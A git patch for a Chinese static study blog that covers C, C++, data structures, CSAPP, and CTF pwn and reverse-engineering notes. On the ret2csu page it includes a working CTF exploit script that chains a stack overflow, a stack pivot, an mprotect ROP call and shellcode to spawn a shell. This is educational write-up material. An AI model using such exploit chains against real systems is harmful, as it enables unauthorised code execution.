From 26cb99b3901132d8c999aa9a426173ea3433f9a3 Mon Sep 17 00:00:00 2001 From: nanhang <2122295973@qq.com> Date: Wed, 27 Nov 2024 19:43:14 +0800 Subject: [PATCH] Site updated: 2024-11-27 19:43:01 --- 2024/10/24/binary/llvm/index.html | 8 +-- 2024/10/24/csapp/CSAPP-1/index.html | 8 +-- .../data_structure/data-struct-1/index.html | 8 +-- .../data_structure/data-struct-2/index.html | 8 +-- .../data_structure/data-struct-3/index.html | 8 +-- .../link_load_lib/link-load-lib-1/index.html | 8 +-- 2024/10/24/program/c/c-ptr-1/index.html | 8 +-- 2024/10/24/program/cpp/cpp-1/index.html | 8 +-- 2024/10/24/program/cpp/cpp-2/index.html | 8 +-- 2024/10/24/program/linux-nasm/index.html | 8 +-- 2024/10/24/pwn/SROP/index.html | 6 +- 2024/10/24/pwn/brop/index.html | 6 +- 2024/10/24/pwn/integer_overflow/index.html | 6 +- 2024/10/24/pwn/ret2csu/index.html | 8 +-- 2024/10/24/pwn/ret2dlresolve/index.html | 6 +- 2024/10/24/pwn/ret2libc/index.html | 8 +-- 2024/10/24/pwn/ret2reg/index.html | 8 +-- 2024/10/24/pwn/ret2shellcode/index.html | 6 +- 2024/10/24/pwn/ret2syscall/index.html | 8 +-- 2024/10/24/pwn/ret2text/index.html | 8 +-- 2024/10/24/pwn/ret2vdso/index.html | 6 +- 2024/10/24/pwn/stack_pivoting/index.html | 8 +-- 2024/10/24/rev/base/index.html | 8 +-- 2024/10/24/rev/base64/index.html | 8 +-- 2024/10/24/rev/flower-code/index.html | 6 +- 2024/10/24/rev/rc4/index.html | 6 +- 2024/10/24/rev/re-lib/index.html | 6 +- 2024/10/24/rev/smc/index.html | 6 +- 2024/10/24/rev/upx/index.html | 6 +- 2024/10/24/rev/z3/index.html | 6 +- 2024/10/24/sundry/blockchain/index.html | 8 +-- 2024/10/24/sundry/cmake/index.html | 8 +-- 2024/10/24/sundry/powershell-cmd/index.html | 8 +-- 2024/10/24/system/system-1/index.html | 8 +-- 2024/10/24/system/system-2/index.html | 8 +-- 2024/10/25/program/c/c-oop/index.html | 8 +-- 2024/10/25/program/go/go-chapter1/index.html | 8 +-- 2024/10/25/program/go/go-chapter2/index.html | 8 +-- 2024/10/25/program/go/go-chapter3/index.html | 8 +-- 2024/10/25/program/go/go-chapter4/index.html | 8 +-- 2024/10/25/program/go/go-chapter5/index.html | 8 +-- 2024/10/25/pwn/nc-bypass/index.html | 8 +-- 2024/10/25/rev/linux-anti-debug/index.html | 8 +-- 2024/10/25/rev/tea/index.html | 6 +- 2024/10/25/rev/windows-anti-debug/index.html | 8 +-- 2024/10/25/sundry/docker/index.html | 8 +-- 2024/10/25/sundry/git/index.html | 8 +-- 2024/10/25/wp/chun/index.html | 62 ------------------- 2024/10/25/wp/moe/index.html | 8 +-- 2024/10/25/wp/new/index.html | 8 +-- 2024/10/25/wp/pwnable-tw/index.html | 8 +-- 2024/10/25/wp/reverse-kr/index.html | 8 +-- 2024/10/25/wp/yl/index.html | 8 +-- 2024/10/26/csapp/csapp-2/index.html | 8 +-- .../link_load_lib/link-load-lib-2/index.html | 8 +-- .../link_load_lib/link-load-lib-3/index.html | 8 +-- 2024/10/26/pwn/ptmalloc2/p1/index.html | 8 +-- 2024/10/27/program/android/and-1/index.html | 8 +-- 2024/10/27/program/c/c-ptr-2/index.html | 8 +-- 2024/10/27/program/c/c-ptr-3/index.html | 8 +-- 2024/10/27/program/c/c-ptr-4/index.html | 8 +-- 2024/10/27/program/cpp/cpp-3/index.html | 8 +-- .../index.html" | 12 ++-- 2024/10/28/pwn/heap/heap-overflow/index.html | 8 +-- 2024/11/01/pwn/bypass/ssp/index.html | 8 +-- 2024/11/03/rev/rsa/index.html | 8 +-- 2024/11/04/llm/llm-principle/index.html | 8 +-- 2024/11/07/wp/buu/chapter1/index.html | 8 +-- 2024/11/24/wp/geek/index.html | 62 +++++++++++++++++++ 2024/11/24/wp/pcb/index.html | 62 +++++++++++++++++++ 2024/11/24/wp/qwb/index.html | 62 +++++++++++++++++++ 2024/11/24/wp/wdb/index.html | 62 +++++++++++++++++++ about/index.html | 8 +-- archives/2024/10/index.html | 8 +-- archives/2024/10/page/2/index.html | 8 +-- archives/2024/10/page/3/index.html | 8 +-- archives/2024/10/page/4/index.html | 8 +-- archives/2024/10/page/5/index.html | 8 +-- archives/2024/10/page/6/index.html | 8 +-- archives/2024/10/page/7/index.html | 8 +-- archives/2024/11/index.html | 8 +-- archives/2024/index.html | 8 +-- archives/2024/page/2/index.html | 8 +-- archives/2024/page/3/index.html | 8 +-- archives/2024/page/4/index.html | 8 +-- archives/2024/page/5/index.html | 8 +-- archives/2024/page/6/index.html | 8 +-- archives/2024/page/7/index.html | 8 +-- archives/2024/page/8/index.html | 62 +++++++++++++++++++ archives/index.html | 8 +-- archives/page/2/index.html | 8 +-- archives/page/3/index.html | 8 +-- archives/page/4/index.html | 8 +-- archives/page/5/index.html | 8 +-- archives/page/6/index.html | 8 +-- archives/page/7/index.html | 8 +-- archives/page/8/index.html | 62 +++++++++++++++++++ categories/CSAPP/index.html | 8 +-- categories/LLM/index.html | 8 +-- categories/pwn/index.html | 8 +-- categories/pwn/page/2/index.html | 8 +-- categories/reverse/index.html | 8 +-- categories/reverse/page/2/index.html | 8 +-- categories/wp/index.html | 8 +-- .../index.html" | 8 +-- .../\345\205\266\345\256\203/index.html" | 8 +-- .../index.html" | 8 +-- .../index.html" | 8 +-- .../\347\274\226\347\250\213/index.html" | 8 +-- .../page/2/index.html" | 8 +-- .../index.html" | 8 +-- index.html | 6 +- page/2/index.html | 6 +- page/3/index.html | 6 +- page/4/index.html | 6 +- page/5/index.html | 6 +- page/6/index.html | 6 +- page/7/index.html | 6 +- page/8/index.html | 62 +++++++++++++++++++ search.json | 2 +- tags/C/index.html | 8 +-- tags/Cpp/index.html | 8 +-- tags/Go/index.html | 8 +-- tags/ROP/index.html | 8 +-- tags/android/index.html | 8 +-- tags/bypass/index.html | 8 +-- tags/glibc/index.html | 8 +-- tags/heap/index.html | 8 +-- tags/java/index.html | 8 +-- tags/kernel/index.html | 8 +-- tags/pwn/index.html | 8 +-- .../index.html" | 8 +-- .../index.html" | 8 +-- .../index.html" | 8 +-- "tags/\346\261\207\347\274\226/index.html" | 8 +-- "tags/\346\267\267\346\267\206/index.html" | 8 +-- .../index.html" | 8 +-- .../index.html" | 8 +-- .../index.html" | 8 +-- .../index.html" | 8 +-- 140 files changed, 941 insertions(+), 569 deletions(-) delete mode 100644 2024/10/25/wp/chun/index.html create mode 100644 2024/11/24/wp/geek/index.html create mode 100644 2024/11/24/wp/pcb/index.html create mode 100644 2024/11/24/wp/qwb/index.html create mode 100644 2024/11/24/wp/wdb/index.html create mode 100644 archives/2024/page/8/index.html create mode 100644 archives/page/8/index.html create mode 100644 page/8/index.html diff --git a/2024/10/24/binary/llvm/index.html b/2024/10/24/binary/llvm/index.html index 6fbe2c41a..c322d99c9 100644 --- a/2024/10/24/binary/llvm/index.html +++ b/2024/10/24/binary/llvm/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

LLVM


LLVM 简介

LLVM(Low Level Virtual Machine)是一个开源的编译器基础设施项目,旨在提供一个可重用的编译器和工具链技术。它的设计目标是支持编译器的开发,优化和分析,使得开发者能够创建高效的程序和工具。

+document.addEventListener("pjax:complete", reset);reset()})

LLVM


LLVM 简介

LLVM(Low Level Virtual Machine)是一个开源的编译器基础设施项目,旨在提供一个可重用的编译器和工具链技术。它的设计目标是支持编译器的开发,优化和分析,使得开发者能够创建高效的程序和工具。

LLVM环境搭建

预编译包安装

编译安装

1
2
3
4
5
6
7
8
9
cmake -G "Unix Makefiles" \
-DLLVM_ENABLE_PROJECTS="clang;llvm;" \
-DCMAKE_BUILD_TYPE=Release \
-DLLVM_TARGETS_TO_BUILD="X86" \
-DBUILD_SHARED_LIBS=On \
-DLLVM_ENABLE_LLD=ON \
../llvm

make -j8

LLVM整体设计

llvm 与 gcc

\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/csapp/CSAPP-1/index.html b/2024/10/24/csapp/CSAPP-1/index.html index 17d14612f..6c6ac2502 100644 --- a/2024/10/24/csapp/CSAPP-1/index.html +++ b/2024/10/24/csapp/CSAPP-1/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

《CSAPP》chapter1 计算机系统漫游


信息就是位+上下文

系统中所有的信息——包括磁盘文件、内存中的程序、内存中存放的用户数据以及网络上传送的数据,都是由一串 0 和 1 比特表示的。区分不同数据对象的唯一方法是我们读到这些数据对象时的上下文。

+document.addEventListener("pjax:complete", reset);reset()})

《CSAPP》chapter1 计算机系统漫游


信息就是位+上下文

系统中所有的信息——包括磁盘文件、内存中的程序、内存中存放的用户数据以及网络上传送的数据,都是由一串 0 和 1 比特表示的。区分不同数据对象的唯一方法是我们读到这些数据对象时的上下文。

比如,在不同的上下文中,一个同样的字节序列可能表示一个整数、浮点数、字符串或者机器指令。

程序被翻译成不同的格式

C语言程序被其他程序转化为一系列的低级机器语言指令。

这些指令按照一种称为可执行目标程序的格式打好包,并以二进制磁盘文件的形式存存放起来。

@@ -171,4 +171,4 @@

计算机系统中抽象的重要性

抽象的使用是计算机科学中最为重要的概念之一。

image-20240527153623718

虚拟机,它提供对整个计算机的抽象,包括操作系统、处理器和程序。

-
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/data_structure/data-struct-1/index.html b/2024/10/24/data_structure/data-struct-1/index.html index 4e9b3cbf4..0b122aab3 100644 --- a/2024/10/24/data_structure/data-struct-1/index.html +++ b/2024/10/24/data_structure/data-struct-1/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

《数据结构和算法》chapter1 数据结构序列


基本概念和术语

程序=数据结构+算法

+document.addEventListener("pjax:complete", reset);reset()})

《数据结构和算法》chapter1 数据结构序列


基本概念和术语

程序=数据结构+算法

数据结构是一门研究非数值计算的程序设计问题中的操作对象,以及它们之间的关系和操作等相关问题的学科。

数据

数据:是描述客观事物的符号,是计算机中可以操作的对象,是能被计算机识别,并输入给计算机处理的符号集合。

数据不仅仅包括整型、实型等数值类型,还包括字符及声音、图像、视频等非数值类型。

@@ -93,4 +93,4 @@

1
2
3
4
5
6
7
8
9
10
11
12
ADT 抽象数据类型名
Data
数据元素之间逻辑关系的定义
Operation
操作1
初始条件
操作结果描述
操作2

操作n

endADT

数据结构的定义:数据结构是相互之间存在一种或多种特定关系的数据元素的集合。

-

\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/data_structure/data-struct-2/index.html b/2024/10/24/data_structure/data-struct-2/index.html index 5dffe4fab..653b2936e 100644 --- a/2024/10/24/data_structure/data-struct-2/index.html +++ b/2024/10/24/data_structure/data-struct-2/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

《数据结构和算法》chapter2 算法


算法定义

+document.addEventListener("pjax:complete", reset);reset()})

《数据结构和算法》chapter2 算法


算法定义

算法:算法是解决特定问题求解步骤的描述,在计算机中表现为指令的有限序列,并且每条指令表示一个或多个操作。

算法的特性

算法具有五个基本特性:输入、输出、有穷性、确定性和可行性。

@@ -109,4 +109,4 @@

平均运行时间是所有情况中最有意义的,因为它是七位的运行时间。

对算法的分析,一种方法是计算所有情况的平均值,这种时间复杂度的计算方法称为平均时间复杂度。另一种方法是计算最坏情况下的时间复杂度,这种方法称为最坏时间复杂度。一般在没有情况说明的情况下,都是指最坏时间复杂度。

算法空间复杂度

算法的空间复杂度通过计算算法所需的存储空间实现,算法空间复杂度的计算公式记作:S(n)=O(f(n)),其中,n为问题的规模,f(n)为语句关于n所占存储空间的函数。

-

\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/data_structure/data-struct-3/index.html b/2024/10/24/data_structure/data-struct-3/index.html index 23068956f..9bf8969d2 100644 --- a/2024/10/24/data_structure/data-struct-3/index.html +++ b/2024/10/24/data_structure/data-struct-3/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

《数据结构和算法》chapter3 线性表


线性表的定义

+document.addEventListener("pjax:complete", reset);reset()})

《数据结构和算法》chapter3 线性表


线性表的定义

线性表(list):零个或多个数据元素的有限序列。

@@ -330,4 +330,4 @@

双向链表

双向链表(double linked list)是在单链表的每个结点中,再设置一个指向其前驱结点的指针域。

所以在双向链表中的结点都有两个指针域,一个指向直接后继,另一个指向直接前驱。

1
2
3
4
5
6
//线性表的双向链表存储结构
typedef struct DulNode{
ElemType data;
struct DulNode *prior; //直接前驱指针
struct DulNode *next; //直接后继指针
}DulNode,*DuLinkList;
-
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/link_load_lib/link-load-lib-1/index.html b/2024/10/24/link_load_lib/link-load-lib-1/index.html index 01e4c3058..adb7f42ae 100644 --- a/2024/10/24/link_load_lib/link-load-lib-1/index.html +++ b/2024/10/24/link_load_lib/link-load-lib-1/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

《链接、装载与库》chapter1 简介


第一章 温故而知新

从hello,world说起

计算机在执行hello,world的时候发生了什么?

+document.addEventListener("pjax:complete", reset);reset()})

《链接、装载与库》chapter1 简介


第一章 温故而知新

从hello,world说起

计算机在执行hello,world的时候发生了什么?

万变不离其宗

在计算机多如牛毛的硬件设备中。有三个部件最为关键,它们分别是 CPU、内存和 I/O 控制芯片。

早期 CPU 的核心频率并不高,跟内存的频率一样,它们都是直接连接在同一个总线(Bus) 上。由于 I/O 设备等速度和内存相比还是慢很多。为了协调 I/O 设备与总线之间的速度,也为了能够让 CPU 能够和 I/O 设备进行通信,一般每个设备都有一个相应的 I/O 控制器。

之后由于 CPU 核心频率的提升,导致内存跟不上 CPU 的速度,于是产生了与内存频率一致的系统总线,而 CPU 采用倍频的方式与系统总线进行通信。接着由于图形化的普及,使得图形芯片需要跟内存和 CPU 之间大量交换数据,慢速的 I/O 总线已经无法满足图形设备的巨大需求。为了协调 CPU、内存和高速的图形设备,人们设计了一个高速的北桥(Northbridge,PCI Bridge) 芯片,以便它们之间能够高速地交换数据。

@@ -325,4 +325,4 @@

-

\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/program/c/c-ptr-1/index.html b/2024/10/24/program/c/c-ptr-1/index.html index 8612a51fe..5202e8c90 100644 --- a/2024/10/24/program/c/c-ptr-1/index.html +++ b/2024/10/24/program/c/c-ptr-1/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

C chapter1 基本概念


前言

+document.addEventListener("pjax:complete", reset);reset()})

C chapter1 基本概念


前言

本文程序开发基于 Ubuntu 环境下的 gcc 编译器。

本着没整理就是没学习的原则,菜鸡的我又来学 C 了。

@@ -373,4 +373,4 @@

Ma

上面的 Makefile 可以通过使用 make clean命令清理掉编译后的可执行文件,便于重新编译。

这些都是比较简单的,随着对 C 的学习我们还会编写更复杂的 Makefile。

-

\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/program/cpp/cpp-1/index.html b/2024/10/24/program/cpp/cpp-1/index.html index 82d0bfa6a..2ce82aafe 100644 --- a/2024/10/24/program/cpp/cpp-1/index.html +++ b/2024/10/24/program/cpp/cpp-1/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

C++ chapter1 基础知识


C++简介

C++融合了3种不同的编程方式:C语言代表的过程性语言、C++在C语言基础上添加的类代表的面向对象语言、C++模板支持的泛型编程。

+document.addEventListener("pjax:complete", reset);reset()})

C++ chapter1 基础知识


C++简介

C++融合了3种不同的编程方式:C语言代表的过程性语言、C++在C语言基础上添加的类代表的面向对象语言、C++模板支持的泛型编程。

编写简单的 C++程序

  • 预处理器编译指令#include
  • 函数头:int main()
  • @@ -125,4 +125,4 @@

    通常使用成员函数作为点操作符的右操作数来调用成员函数。执行成员函数和执行其他函数相似:要调用函数,可将调用操作符( () )放在函数名之后。调用操作符是一对圆括号,括住传递给参数的实参列表(可能为空)。

    1
    sale.isbn(item2);
    -

\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/program/cpp/cpp-2/index.html b/2024/10/24/program/cpp/cpp-2/index.html index 5456bc0ff..5080e90cc 100644 --- a/2024/10/24/program/cpp/cpp-2/index.html +++ b/2024/10/24/program/cpp/cpp-2/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

C++ chapter2 变量和基本类型


基本内置类型

C++定义了一组表示整数、浮点数、单个字符和布尔值的算术类型(arithmetic type),另外还定义了一种称为void的特殊类型。void类型没有对应的值,仅用于在有限的一些情况下,通常用作无返回值函数的返回类型。

+document.addEventListener("pjax:complete", reset);reset()})

C++ chapter2 变量和基本类型


基本内置类型

C++定义了一组表示整数、浮点数、单个字符和布尔值的算术类型(arithmetic type),另外还定义了一种称为void的特殊类型。void类型没有对应的值,仅用于在有限的一些情况下,通常用作无返回值函数的返回类型。

@@ -605,4 +605,4 @@

3.使用自定义的头文件

如果头文件名括在尖括号(<>)里,那么认为该头文件是标准头文件。编译器将会在预定义的位置查找该头文件,这些预定义的位置可以通过查找路径环境变量或者通过命令行选项来修改。

如果头文件名括在一对引号里,那么认为它是非系统头文件,非系统头文件的查找通常开始于源文件所在的路径。

-
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/program/linux-nasm/index.html b/2024/10/24/program/linux-nasm/index.html index d31897ce3..014339bf0 100644 --- a/2024/10/24/program/linux-nasm/index.html +++ b/2024/10/24/program/linux-nasm/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

Linux汇编


前言

为了加深对于汇编的掌握于是好好学习了一下NASM汇编。

+document.addEventListener("pjax:complete", reset);reset()})

Linux汇编


前言

为了加深对于汇编的掌握于是好好学习了一下NASM汇编。

以下完全就是个人的学习笔记。

NASM 汇编基本语法

基本结构

段定义:NASM 程序分为不同的的段(section),如.data.bss.text。每个段用于
不同的数据类型或代码。

1
2
3
4
5
6
7
8
9
10
11
section .data ;数据段
mag db 'hello world!',0Ah

section .bss ;未初始化数据段
buffer resb 64

section .text ;代码段
global _start

_start
;程序代码
@@ -450,4 +450,4 @@

后言

参考链接:NASM 汇编语言教程
参考书籍:《x86汇编语言:从实模式到保护模式》

-
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/pwn/SROP/index.html b/2024/10/24/pwn/SROP/index.html index 6741ede0c..bdbc40c7d 100644 --- a/2024/10/24/pwn/SROP/index.html +++ b/2024/10/24/pwn/SROP/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

SROP


\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})

SROP


\ No newline at end of file diff --git a/2024/10/24/pwn/brop/index.html b/2024/10/24/pwn/brop/index.html index b1f57867a..c4376beee 100644 --- a/2024/10/24/pwn/brop/index.html +++ b/2024/10/24/pwn/brop/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

BROP


\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})

BROP


\ No newline at end of file diff --git a/2024/10/24/pwn/integer_overflow/index.html b/2024/10/24/pwn/integer_overflow/index.html index 8f0c11701..879bcf79b 100644 --- a/2024/10/24/pwn/integer_overflow/index.html +++ b/2024/10/24/pwn/integer_overflow/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

整数溢出


\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})

整数溢出


\ No newline at end of file diff --git a/2024/10/24/pwn/ret2csu/index.html b/2024/10/24/pwn/ret2csu/index.html index bdfec8f83..2ce367137 100644 --- a/2024/10/24/pwn/ret2csu/index.html +++ b/2024/10/24/pwn/ret2csu/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

ret2csu


原理

严格来说,ret2csu 是一种特定的漏洞利用手法,主要存在于 64 位程序中。区别于 32 位程序通过栈传递参数,64 位程序的前六个参数通过寄存器传递(rdi, rsi, rdx, rcx, r8, r9)。这导致在某些情况下,我们无法找到足够多的 gadgets 来逐个控制每个寄存器。

+document.addEventListener("pjax:complete", reset);reset()})

ret2csu


原理

严格来说,ret2csu 是一种特定的漏洞利用手法,主要存在于 64 位程序中。区别于 32 位程序通过栈传递参数,64 位程序的前六个参数通过寄存器传递(rdi, rsi, rdx, rcx, r8, r9)。这导致在某些情况下,我们无法找到足够多的 gadgets 来逐个控制每个寄存器。

这时,我们可以利用程序中的 __libc_csu_init (高版本的gcc编译后已经没有了)函数,该函数主要用于初始化 libc,几乎在所有的程序中都会存在。该函数内含一段万能的 gadgets,可以控制多个寄存器(例如 rbx, rbp, r12, r13, r14, r15 以及 rdi, rsi, rdx)的值,并最终 调用指定地址。因此,当我们劫持程序控制流时,可以跳转到 __libc_csu_init 函数,通过这段万能 gadgets 控制程序的行为。

我们将下面的 gadget 称为 gadget1 优先调用,上面的称为 gadget2 之后调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//gadget2
400710: 4c 89 fa mov rdx, r15
400713: 4c 89 f6 mov rsi, r14
400716: 44 89 ef mov edi, r13d
400719: 41 ff 14 dc call qword ptr [r12 + 8*rbx]
40071d: 48 83 c3 01 add rbx, 0x1
400721: 48 39 dd cmp rbp, rbx
400724: 75 ea jne 0x400710 <__libc_csu_init+0x40>

//gadget1
400726: 48 83 c4 08 add rsp, 0x8
40072a: 5b pop rbx
40072b: 5d pop rbp
40072c: 41 5c pop r12
40072e: 41 5d pop r13
400730: 41 5e pop r14
400732: 41 5f pop r15
400734: c3 ret
@@ -151,4 +151,4 @@

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
from pwncli import *
cli_script()

# bss = 0x601020
first_ebp=0x601020 + 0xf0
# lea rsi, [rbp - 0xf0]
first_ret=0x4006E7
#通过上述lea指令设置rsi值为bss段地址,并且再次执行read函数将rop链写入bss段
payload = b"a"*(0xf0) + p64(first_ebp) + p64(first_ret)


ru("Remember to check it!")
s(payload)

mprotect_got=elf.got.mprotect
leave_ret=0x400681
gadget1=0x40075A
gadget2=0x400740

#通过csu修改bss段内存权限为可读可写可执行
payload2=p64(gadget1)+p64(0)+p64(1)+ p64(mprotect_got)+p64(0x601000)+p64(0x1000)+p64(0x7)+ p64(gadget2)

# asm(shellcraft.sh())长度为0x30
shellcode = asm(shellcraft.sh())

#0x40为mrpotect的rop链的长度,0x38为a的长度,0x8为填充地址的长度,目的是返回到shellcode
payload2 += b"a"*(0x38) + p64(0x601020+0x40+0x38+0x8) + shellcode + b"A"*(0xf0-0x40-0x38-0x8-0x30) + p64(0x601020-0x8) + p64(leave_ret)

sl(payload2)

ia()
-

\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/pwn/ret2dlresolve/index.html b/2024/10/24/pwn/ret2dlresolve/index.html index dc3494248..84086ff72 100644 --- a/2024/10/24/pwn/ret2dlresolve/index.html +++ b/2024/10/24/pwn/ret2dlresolve/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

ret2dlresolve


\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})

ret2dlresolve


\ No newline at end of file diff --git a/2024/10/24/pwn/ret2libc/index.html b/2024/10/24/pwn/ret2libc/index.html index fb78793cd..b33a44987 100644 --- a/2024/10/24/pwn/ret2libc/index.html +++ b/2024/10/24/pwn/ret2libc/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

ret2libc


ciscn_2019_c_1

+document.addEventListener("pjax:complete", reset);reset()})

ret2libc


ciscn_2019_c_1

铁人三项(第五赛区) _ 2018_rop

[CISCN 2019东北]PWN2
#ret2libc #LibcSearcher

[2021 鹤城杯]littleof
#A #ret2libc #canary #LibcSearcher

[LitCTF 2023]狠狠的溢出涅~
#ret2libc #字符串截断

[SWPUCTF 2023 秋季新生赛]神奇的strlen
#A #ret2libc #栈对齐 #泄露libc #字符串截断

-
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/pwn/ret2reg/index.html b/2024/10/24/pwn/ret2reg/index.html index 5d19c0413..98a69370d 100644 --- a/2024/10/24/pwn/ret2reg/index.html +++ b/2024/10/24/pwn/ret2reg/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

ret2reg


利用原理

ret2reg,即返回到寄存器地址进行攻击,可以绕过地址混淆(ASLR)。

+document.addEventListener("pjax:complete", reset);reset()})

ret2reg


利用原理

ret2reg,即返回到寄存器地址进行攻击,可以绕过地址混淆(ASLR)。

一般用于开启ASLR的ret2shellcode题型,在函数执行后,传入的参数在栈中传给某寄存器,然而该函数在结束前并未将该寄存器复位,就导致这个寄存器仍还保存着参数,当这个参数是shellcode时,只要程序中存在jmp/call reg代码片段时,即可通过gadget跳转至该寄存器执行shellcode。

该攻击方法之所以能成功,是因为函数内部实现时,溢出的缓冲区地址通常会加载到某个寄存器上,在后来的运行过程中不会修改。

@@ -189,4 +189,4 @@

例题后言

参考链接:Using RSP | Cybersec (gitbook.io)

-
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/pwn/ret2shellcode/index.html b/2024/10/24/pwn/ret2shellcode/index.html index fad0108a5..051cbc8d3 100644 --- a/2024/10/24/pwn/ret2shellcode/index.html +++ b/2024/10/24/pwn/ret2shellcode/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

ret2shellcode


\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})

ret2shellcode


\ No newline at end of file diff --git a/2024/10/24/pwn/ret2syscall/index.html b/2024/10/24/pwn/ret2syscall/index.html index 2eb7e7e89..3dce3f47f 100644 --- a/2024/10/24/pwn/ret2syscall/index.html +++ b/2024/10/24/pwn/ret2syscall/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

ret2syscall


[MoeCTF 2022]syscall

+document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/pwn/ret2text/index.html b/2024/10/24/pwn/ret2text/index.html index 5576ebc6b..c4a28e07c 100644 --- a/2024/10/24/pwn/ret2text/index.html +++ b/2024/10/24/pwn/ret2text/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

ret2text


+document.addEventListener("pjax:complete", reset);reset()})

ret2text


ret2text,即通过控制程序执行流执行程序本身已有的代码(.text段),是一种较为广义的描述。在这种攻击方法中,攻击者可以控制程序执行若干不相邻的代码段(即gadgets),这就是我们常说的ROP(Return-Oriented Programming)。

32位程序和64位程序在 pwn 中的差别主要体现在调用约定的不同。

@@ -340,4 +340,4 @@

后言

参考链接:PWN中64位程序的堆栈平衡

-
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/pwn/ret2vdso/index.html b/2024/10/24/pwn/ret2vdso/index.html index a58a3a58f..1f5c734b3 100644 --- a/2024/10/24/pwn/ret2vdso/index.html +++ b/2024/10/24/pwn/ret2vdso/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

ret2VDSO


\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})

ret2VDSO


\ No newline at end of file diff --git a/2024/10/24/pwn/stack_pivoting/index.html b/2024/10/24/pwn/stack_pivoting/index.html index 96d337d8a..2d5fc16db 100644 --- a/2024/10/24/pwn/stack_pivoting/index.html +++ b/2024/10/24/pwn/stack_pivoting/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

栈迁移


原理

栈迁移是一种通过劫持程序栈指针(ESP 和 EBP)来绕过缓冲区限制的技术,常用于栈溢出攻击中。当缓冲区空间有限无法直接控制执行流时,栈迁移能够扩展攻击范围,通过迁移栈到可控的内存区域来实现更复杂的攻击。

+document.addEventListener("pjax:complete", reset);reset()})

栈迁移


原理

